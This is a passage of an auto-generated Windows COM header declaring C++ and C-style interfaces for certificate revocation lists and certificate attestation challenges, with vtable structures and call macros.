_In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in IX509CertificateRevocationListEntries * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRevocationListEntry **pVal);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in IX509CertificateRevocationListEntries * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in IX509CertificateRevocationListEntries * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in IX509CertificateRevocationListEntries * This,\n            /* [in] */ __RPC__in_opt IX509CertificateRevocationListEntry *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in IX509CertificateRevocationListEntries * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in IX509CertificateRevocationListEntries * This);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_IndexBySerialNumber )( \n            __RPC__in IX509CertificateRevocationListEntries * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR SerialNumber,\n            /* [retval][out] */ __RPC__out LONG *pIndex);\n        \n        HRESULT ( STDMETHODCALLTYPE *AddRange )( \n            __RPC__in IX509CertificateRevocationListEntries * This,\n            /* [in] */ __RPC__in_opt IX509CertificateRevocationListEntries *pValue);\n        \n        END_INTERFACE\n    } IX509CertificateRevocationListEntriesVtbl;\n\n    interface IX509CertificateRevocationListEntries\n    {\n        CONST_VTBL struct IX509CertificateRevocationListEntriesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateRevocationListEntries_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateRevocationListEntries_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateRevocationListEntries_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateRevocationListEntries_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateRevocationListEntries_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateRevocationListEntries_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateRevocationListEntries_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateRevocationListEntries_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define IX509CertificateRevocationListEntries_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define IX509CertificateRevocationListEntries_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define IX509CertificateRevocationListEntries_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define IX509CertificateRevocationListEntries_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define IX509CertificateRevocationListEntries_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#define IX509CertificateRevocationListEntries_get_IndexBySerialNumber(This,Encoding,SerialNumber,pIndex)\t\\\n    ( (This)->lpVtbl -> get_IndexBySerialNumber(This,Encoding,SerialNumber,pIndex) ) \n\n#define IX509CertificateRevocationListEntries_AddRange(This,pValue)\t\\\n    ( (This)->lpVtbl -> AddRange(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateRevocationListEntries_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509CertificateRevocationList_INTERFACE_DEFINED__\n#define __IX509CertificateRevocationList_INTERFACE_DEFINED__\n\n/* interface IX509CertificateRevocationList */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateRevocationList;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab360-217d-11da-b2a4-000e7bbb2b09\")\n    IX509CertificateRevocationList : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ __RPC__in BSTR strEncodedData,\n            /* [defaultvalue][in] */ EncodingType Encoding = XCN_CRYPT_STRING_HEXRAW) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Encode( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE ResetForEncode( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE CheckPublicKeySignature( \n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE CheckSignature( void) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Issuer( \n            /* [retval][out] */ __RPC__deref_out_opt IX500DistinguishedName **ppValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Issuer( \n            /* [in] */ __RPC__in_opt IX500DistinguishedName *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ThisUpdate( \n            /* [retval][out] */ __RPC__out DATE *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_ThisUpdate( \n            /* [in] */ DATE Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_NextUpdate( \n            /* [retval][out] */ __RPC__out DATE *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_NextUpdate( \n            /* [in] */ DATE Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_X509CRLEntries( \n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRevocationListEntries **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_X509Extensions( \n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_CriticalExtensions( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SignerCertificate( \n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **ppValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_SignerCertificate( \n            /* [in] */ __RPC__in_opt ISignerCertificate *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_CRLNumber( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_CRLNumber( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_CAVersion( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_CAVersion( \n            /* [in] */ LONG pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_BaseCRL( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_NullSigned( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_HashAlgorithm( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_HashAlgorithm( \n            /* [in] */ __RPC__in_opt IObjectId *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_AlternateSignatureAlgorithm( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_AlternateSignatureAlgorithm( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SignatureInformation( \n            /* [retval][out] */ __RPC__deref_out_opt IX509SignatureInformation **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RawData( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RawDataToBeSigned( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Signature( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateRevocationListVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateRevocationList * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateRevocationList * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateRevocationList * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509CertificateRevocationList * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [in] */ __RPC__in BSTR strEncodedData,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        HRESULT ( STDMETHODCALLTYPE *Encode )( \n            __RPC__in IX509CertificateRevocationList * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *ResetForEncode )( \n            __RPC__in IX509CertificateRevocationList * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *CheckPublicKeySignature )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey);\n        \n        HRESULT ( STDMETHODCALLTYPE *CheckSignature )( \n            __RPC__in IX509CertificateRevocationList * This);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Issuer )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX500DistinguishedName **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Issuer )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [in] */ __RPC__in_opt IX500DistinguishedName *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ThisUpdate )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [retval][out] */ __RPC__out DATE *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ThisUpdate )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [in] */ DATE Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NextUpdate )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [retval][out] */ __RPC__out DATE *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_NextUpdate )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [in] */ DATE Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_X509CRLEntries )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRevocationListEntries **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_X509Extensions )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CriticalExtensions )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignerCertificate )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SignerCertificate )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [in] */ __RPC__in_opt ISignerCertificate *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CRLNumber )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_CRLNumber )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CAVersion )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_CAVersion )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [in] */ LONG pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_BaseCRL )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NullSigned )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_HashAlgorithm )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_HashAlgorithm )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignatureInformation )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509SignatureInformation **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawDataToBeSigned )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Signature )( \n            __RPC__in IX509CertificateRevocationList * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509CertificateRevocationListVtbl;\n\n    interface IX509CertificateRevocationList\n    {\n        CONST_VTBL struct IX509CertificateRevocationListVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateRevocationList_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateRevocationList_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateRevocationList_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateRevocationList_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateRevocationList_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateRevocationList_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateRevocationList_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateRevocationList_Initialize(This)\t\\\n    ( (This)->lpVtbl -> Initialize(This) ) \n\n#define IX509CertificateRevocationList_InitializeDecode(This,strEncodedData,Encoding)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,strEncodedData,Encoding) ) \n\n#define IX509CertificateRevocationList_Encode(This)\t\\\n    ( (This)->lpVtbl -> Encode(This) ) \n\n#define IX509CertificateRevocationList_ResetForEncode(This)\t\\\n    ( (This)->lpVtbl -> ResetForEncode(This) ) \n\n#define IX509CertificateRevocationList_CheckPublicKeySignature(This,pPublicKey)\t\\\n    ( (This)->lpVtbl -> CheckPublicKeySignature(This,pPublicKey) ) \n\n#define IX509CertificateRevocationList_CheckSignature(This)\t\\\n    ( (This)->lpVtbl -> CheckSignature(This) ) \n\n#define IX509CertificateRevocationList_get_Issuer(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Issuer(This,ppValue) ) \n\n#define IX509CertificateRevocationList_put_Issuer(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_Issuer(This,pValue) ) \n\n#define IX509CertificateRevocationList_get_ThisUpdate(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ThisUpdate(This,pValue) ) \n\n#define IX509CertificateRevocationList_put_ThisUpdate(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ThisUpdate(This,Value) ) \n\n#define IX509CertificateRevocationList_get_NextUpdate(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_NextUpdate(This,pValue) ) \n\n#define IX509CertificateRevocationList_put_NextUpdate(This,Value)\t\\\n    ( (This)->lpVtbl -> put_NextUpdate(This,Value) ) \n\n#define IX509CertificateRevocationList_get_X509CRLEntries(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_X509CRLEntries(This,ppValue) ) \n\n#define IX509CertificateRevocationList_get_X509Extensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_X509Extensions(This,ppValue) ) \n\n#define IX509CertificateRevocationList_get_CriticalExtensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CriticalExtensions(This,ppValue) ) \n\n#define IX509CertificateRevocationList_get_SignerCertificate(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignerCertificate(This,ppValue) ) \n\n#define IX509CertificateRevocationList_put_SignerCertificate(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_SignerCertificate(This,pValue) ) \n\n#define IX509CertificateRevocationList_get_CRLNumber(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_CRLNumber(This,Encoding,pValue) ) \n\n#define IX509CertificateRevocationList_put_CRLNumber(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_CRLNumber(This,Encoding,Value) ) \n\n#define IX509CertificateRevocationList_get_CAVersion(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_CAVersion(This,pValue) ) \n\n#define IX509CertificateRevocationList_put_CAVersion(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CAVersion(This,pValue) ) \n\n#define IX509CertificateRevocationList_get_BaseCRL(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_BaseCRL(This,pValue) ) \n\n#define IX509CertificateRevocationList_get_NullSigned(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_NullSigned(This,pValue) ) \n\n#define IX509CertificateRevocationList_get_HashAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_HashAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRevocationList_put_HashAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_HashAlgorithm(This,pValue) ) \n\n#define IX509CertificateRevocationList_get_AlternateSignatureAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlternateSignatureAlgorithm(This,pValue) ) \n\n#define IX509CertificateRevocationList_put_AlternateSignatureAlgorithm(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AlternateSignatureAlgorithm(This,Value) ) \n\n#define IX509CertificateRevocationList_get_SignatureInformation(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignatureInformation(This,ppValue) ) \n\n#define IX509CertificateRevocationList_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define IX509CertificateRevocationList_get_RawDataToBeSigned(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawDataToBeSigned(This,Encoding,pValue) ) \n\n#define IX509CertificateRevocationList_get_Signature(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Signature(This,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateRevocationList_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertificateAttestationChallenge_INTERFACE_DEFINED__\n#define __ICertificateAttestationChallenge_INTERFACE_DEFINED__\n\n/* interface ICertificateAttestationChallenge */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertificateAttestationChallenge;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"6F175A7C-4A3A-40AE-9DBA-592FD6BBF9B8\")\n    ICertificateAttestationChallenge : public IDispatch\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strPendingFullCmcResponseWithChallenge) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE DecryptChallenge( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrEnvelopedPkcs7ReencryptedToCA) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_RequestID( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrRequestID) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertificateAttestationChallengeVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertificateAttestationChallenge * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertificateAttestationChallenge * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertificateAttestationChallenge * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertificateAttestationChallenge * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertificateAttestationChallenge * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertificateAttestationChallenge * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertificateAttestationChallenge * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertificateAttestationChallenge * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strPendingFullCmcResponseWithChallenge);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *DecryptChallenge )( \n            __RPC__in ICertificateAttestationChallenge * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrEnvelopedPkcs7ReencryptedToCA);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_RequestID )( \n            __RPC__in ICertificateAttestationChallenge * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrRequestID);\n        \n        END_INTERFACE\n    } ICertificateAttestationChallengeVtbl;\n\n    interface ICertificateAttestationChallenge\n    {\n        CONST_VTBL struct ICertificateAttestationChallengeVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertificateAttestationChallenge_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertificateAttestationChallenge_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertificateAttestationChallenge_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertificateAttestationChallenge_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertificateAttestationChallenge_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( 